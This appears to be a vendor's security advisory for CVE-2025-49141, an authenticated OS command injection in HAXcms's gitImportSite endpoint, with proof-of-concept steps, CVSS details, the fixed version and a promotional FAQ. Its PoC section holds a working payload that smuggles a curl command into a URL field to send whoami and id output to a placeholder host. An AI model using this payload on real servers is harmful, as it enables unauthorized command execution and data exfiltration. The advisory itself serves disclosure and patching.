CVE-2025-49141

The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.

Details

The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.

Affected Resources

• Operations.php:2103 gitImportSite()
• <domain>/<user>/system/api/gitImportSite

PoC

To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

1. Start a webserver.
   

2. Initiate a request to the ’archiveSite’ endpoint.
   

3. Capture and modify the request in BurpSuite.
   

4. Observe command output in the HTTP request from the server.
   

Command Injection Payload

http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef

An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2025-49141 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (11.0.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-49141? CVE-2025-49141 is a high-severity OS command injection vulnerability in @haxtheweb/haxcms-nodejs (npm), affecting versions < 11.0.3. It is fixed in 11.0.3. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2025-49141? CVE-2025-49141 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @haxtheweb/haxcms-nodejs are affected by CVE-2025-49141? @haxtheweb/haxcms-nodejs (npm) versions < 11.0.3 is affected.
4. Is there a fix for CVE-2025-49141? Yes. CVE-2025-49141 is fixed in 11.0.3. Upgrade to this version or later.
5. Is CVE-2025-49141 exploitable, and should I be worried? Whether CVE-2025-49141 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-49141 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-49141? Upgrade @haxtheweb/haxcms-nodejs to 11.0.3 or later.